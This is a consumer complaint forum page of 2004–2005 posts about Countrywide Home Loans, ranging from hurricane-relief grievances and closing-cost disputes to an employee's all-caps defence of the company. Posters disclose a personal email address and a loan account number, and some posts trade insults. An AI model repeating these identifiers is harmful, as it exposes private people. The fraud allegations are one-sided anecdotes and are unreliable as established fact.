If a Notice of Default was never publish in a General Circulation Newspaper in your area you might have a case.





Left: November 03, 2005 By: TOP PRODUCER In:

I'VE NEVER READ SUCH BS, AS I'VE READ JUST NOW! I HAVE A FEELING MOST OF YOU BABIES WHO GOT FIRED BECAUSE YOU WERE DOING FRAUD OR THOSE WHO THINK GOT THE SHORT END OF THE STICK PROBABLY HAVE 500 FICO SCORES, BECAUSE ONLY UNGRATEFUL BRATS COMPLAIN. CHL IS AMERICAS' #1 RESIDENTIAL MORTGAGE BANK IN THE WORLD! NO OTHER BANK CAN COMPETE. OUR RATES, OUTSTANDING CUSTOMER SERVICE, AND UNDERSTANDING OF THE MORTGAGE INDUSTRY WILL ALLOW US TO DOMINATE FOR YEARS TO COME. 1 OUT OF EVERY 3 PEOPLE HAVE A CHL, GO ASK YOUR NEIGHBOR HOW HAPPY HE/SHE IS WITH US. I DARE YOU!

THIS GOES TO ALL THE STUPID PEOPLE ON HERE: WHAT MORTGAGE BANK DO YOU KNOW THAT SPLIT 3 TIMES IN ONE YEAR AND HAD A ROR OF 90%?? ANYONE? YOU THINK WAMU, CHASE, WELLS, HAD A ROR OF OVER 90% IN ONE YEAR?? NO! THEY DIDN'T! BUT COUNTRYWIDE HOME LOANS DID. I SEE WHY THE AUTHOR OF THIS WEBSITE CREATED THIS WEBSITE; TO MISINFORM POTENTIAL CUSTOMERS FROM DOING BUSINESS WITH US. WHY IS IT THAT THIS WEBSITE ONLY HAS NEGATIVE POSTS?? NOTHING BUT A BUNCH OF BIAS KIDS. I'M GOING TO BE CHECKING IN A WEEK TO SEE IF THIS POST WAS POSTED, IF NOT THEN I KNOW WHAT THE AUTHOR HAS IN MIND AND THAT IS TO WEAKEN COUNTRYWIDE HOME LOANS. HE/SHE WOULD HAVE TO KEEP THIS WEBSITE FOR 10,000 YEARS BEFORE ANYONE STARTS HAVING DOUBT IN THIS COMPANY. IF SOME OF YOU GOT FIRED FROM THIS COMPANY, I'M GLAD! WE DON'T WANT YOU ANYWAY. WE ONLY WANT THE BEST WORKING HERE, GO TO OUR COMPETITORS THEY'LL HIRE YOU/ AND WE'LL CONTINUE BEING #1 IN THE WORLD IN RESIDENTIAL HOME LOANS. TAKE CARE GOD BLESS!

PLEASE ASK ME ANY QUESTION. AND STOP COMPLAINING THAT YOU DON'T KNOW WHERE TO SEND YOUR PAYMENT, THAT COMMENT IS AS OLD AS DINOSAURS. CALL THE MORTGAGE CONSULTANT YOU DEALT WITH AND HE'll DIRECTED YOU IN THE RIGHT PATH. WE ARE HERE TO HELP YOU ALONG THE WAY, FROM YOUR FIRST CONTACT, TO THE CLOSING TABLE, AND YOUR PICNIC AT YOUR HOME WITH FRIENDS AND FAMILY! THANK YOU FOR YOUR BUSINESS! GOD BLESS! LIVE WITH PASSION!!!!!!



Left: October 06, 2005 By: JAMES STRAHAN In: SLIDELL,LA.

Two homes with Countrywide at this time, never again. As we are in the disaster area of hurricane Katrina I called all creditors and received payment suspension for a month or two until things resume. When I called Countrywide they said sure they could help and this is what we can do as our part to help. We will also suspend your payments for up to 90 days and then you can PAY THEM ALL AT ONE TIME at the end of the 90 days. SOME HELP. I HOPE THAT ANYONE THAT CONSIDERS COUNTRYWIDE TAKE THIS INFO INTO CONSIDERATION, you never know when you to will be in a disater area. Account # 42391111.


Left: September 20, 2005 By: An observer In: Atlanta, GA

I don't know about all the name calling, etc. but one thing is certain. Something bad has happened to Countrywide in Atlanta and there won't be an end until it's destroyed. Someone hired people to run this part of the company that either have no interest in the company or just simply aren't qualified to run a company. There is no profit being made and everyone is unhappy -- customers and employees. Seems like a recipe for disaster. Sit back and watch it fall. Maybe a year, maybe not that long. They'll be gone, someone new will be along or they can close down Atlanta altogether. I don't think Atlanta would be missed by the rest of Countrywide.



Left: September 02, 2005 By: In:

Don't give up hope in Mississippi! We're here to help in this time of termoil!


Left: July 26, 2005 By: In:

I'm going to post this in every state listed here. YOU MUST TAKE RESPONSIBILITY FOR YOUR OWN ACTIONS AND DECISIONS!! I have recently left the lending industry. I can site many reasons for this, however the top reason has to be dealing with borrowers and potential borrowers who had no concept of financial responsibility. Just because you have a 700 credit score does not mean you demonstrate good use of credit or that you are guaranteed the rate or terms you want. In fact, many people who have the best credit scores carry the most debt. What you people do not understand is that the lending institutions want you to carry debt, so if you carry alot of debt and pay it on time your score will be higher than someone who pays their bills OFF every month and only carries a mortgage and a car loan/lease. If you fall on hard times, pay your damn mortgage and let the friggin' Visa's go delinquent. Visa isn't going to take your house, your mortgage company is. People jump to quickly to file BK. Guess what, ole' GW has made that next to impossible for the average American. You're better off making arrangements with your credit card companies and paying your mortgage off as quickly as possible. Use good judgement, not the "I want it now!" mentality. Buy a Trailblazer instead of the RangeRover or the Hummer or the Lincol or Caddy or whatever. How many of you people that post on here have kids? What kind of behavior do you think your actions teaches them? Anyone who would voice their opinion is more than welcome to email me at michael_harman1976@yahoo.com. I would be more than happy to help anyone who needs some good advice on how to get themselves into a good financial position. I am not selling anything, I'm a former CW employee who feels an obligation to help those who have been taken advantage of.

Michael


Left: May 19, 2005 By: In:

Thank you so much for this website. Our realtor recommended Countrywide so strongly that we went to them for our mortgage. If you think Countrywide is bad, try going to a realtor who works hand-in-hand with Countrywide. Countrywide gave us an interest rate upon which we based our offer. As soon as the offer was accepted, Countrywide upped the interest rate so much that we knew we could no longer afford the house, but we had signed an offer to purchase that allowed that rate of interest (on the advice of Countrywide, who said it didn't really mean we would ever have to pay that higher rate, it was just something to put on the offer). So, we went to a bank, and they offered us a much lower rate. The bank called the realtor to start the loan process. The realtor turned around and called Countrywide, who then called us, to offer us a much, much better rate. Okay. But then, Countrywide wouldn't move. Not even an application to start the loan process. Each time I called they tap-danced about computers and "in the system," etc. We had no application, no written estimate, nothing. Twelve days before closing I called our local bank in a panic. They were able to do the loan at that interest rate and cut Countrywide out completely. They said if we had waited a couple more days it would have been too late. We believe that Countrywide was holding out until we had no other options before they would give us a loan, and the terms of it would have been at their pleasure.
THEN, we found out our realtor had not disclosed an encroachment. This alone could have been a deal-breaker, but we wanted the property so we worked out a deal with the man who owned the property on whom we were encroaching. We also got an attorney, and asked him to take over the closing, which we had been planning to do at the realtor's office. WELLLLLL---Here it gets fun. Countrywide and our realtor had worked into the purchase all sorts of "creative financing," so that we, the buyers, would be credited with approximately $3,500 at the closing, which would have been at the realtor's office, where we wouldn't have known what the hell he was doing with the money. But our lawyer and our bank did exactly that; they credited us with the $3,500. In fact, they ran out of places to credit us, so the seller ended up writing us a personal check for the balance. Our realtor was shocked when he found this out at closing. We had to stay an hour while everyone in his office and the lawyer's office looked for money, calculators clicking, pages flying. The realtor went outside and talked on his cell phone. We overhead him shout, "Well then we're screwed!" I kid you not! At another point in this comedy our lawyer asked him, "Well, where's the earnest money? I don't have it. Do you have it?" And the realtor said, distractedly, "Well yes, I have it, butÖ." and went back to playing with his calculator.
The way it finally turned out for us was beautiful. The seller actually ended up paying for part of our down payment, but it didn't cost him anything because Countrywide had him raise the asking price in order to credit us, in order to be able to get their thousands at closing. We paid NO FEES whatsoever, and walked away with a small check to the good. The seller paid a very low commission to the realtor (because the realtor quoted him a small commission, apparently because he, the realtor, was going to get a cut of the "creative financing" done by Countrywide at closing.) Watching this comedy of errors was truly enjoyable; however, it followed a month of anxiety and fear. I don't recommend Countrywide to anyone. And if your realtor recommends them, please be warned.



Left: May 03, 2005 By: Zoi In: ole' miss

Obviously Randy must have been blowing someone at Countrywide! Or maybe they wereÖbecause Countrywide SUCKS!! They are poorly trained misfits. I would be surprised if anyone at Countrywide could count to 10!


Left: February 27, 2005 By: Randy In: Clinton

I realize that every mortgage company isn't the same, however Countrywide truly helped my wife and I. In 2003, I was promoted to another position and remove from hourly pay and placed on salary pay. My monthly salary decreased tremendously. Initially, when I called Countrywide and explained my situation, they placed me on a repayment plan because we were 3 months behind on our mortgage payment. The monthly payments increased from $740.00 to $1,200.00. I got a second job to make the extra money to make the payments. After 5 months, I call the Countrywide workout department to search for a better repayment pay, until I got back on my feet, sort of speak. I did quilified for one of their programs, They placed the past due amount back into my overall mortgage balance, in addition to that, I wasn't required to make a payment until 4 months later. So, They never talked about foreclosure. They were very helpful. This is my experience with Countrywide. I'm hopeing that any future experience is just as good.


Left: December 11, 2004 By: Pissed off in Mississippi In: Pearl

My story is like so many others so I won't re-iterate. I just want to encourage all who are being ripped off by CountryWide - THE LORD DEFENDS THE WEAK AND THE INNOCENT! But we have to do our part too. I have contacted, just today, two law firms and the Better Business Bureau. Don't take this lying down and refuse to be intimidated! Use the web to ally with others for possible Class Action Suits, etc.
God help all of us - keep up the good fight!


Left: October 05, 2004 By: In:

I WORK IN THE MORTGAGE INDUSTRY. I HAVE ORDERED NUMEROUS PAYOFFS FROM COUNTRYWIDE. THIS COMPANY IS REALLY REALLY HITTING THE CUSTOMER. THEY CHARGE OUTRAGOUS FAX FEES FOR PAYOFF STATEMENTS. IF YOU REQUEST TO HAVE ONE MAILED TO THE CUSTOMER TO SAVE THEM THESE FEE, IT NEVER GETS MAILED. ALONG WITH THE OTHER SO CALLED FEES THEY SAY THEY HAVE TO CHARGE, SOMETIMES A CUSTOMERS PAYOFF IS MORE THAN THEY ORIGINALLY BORROWED.

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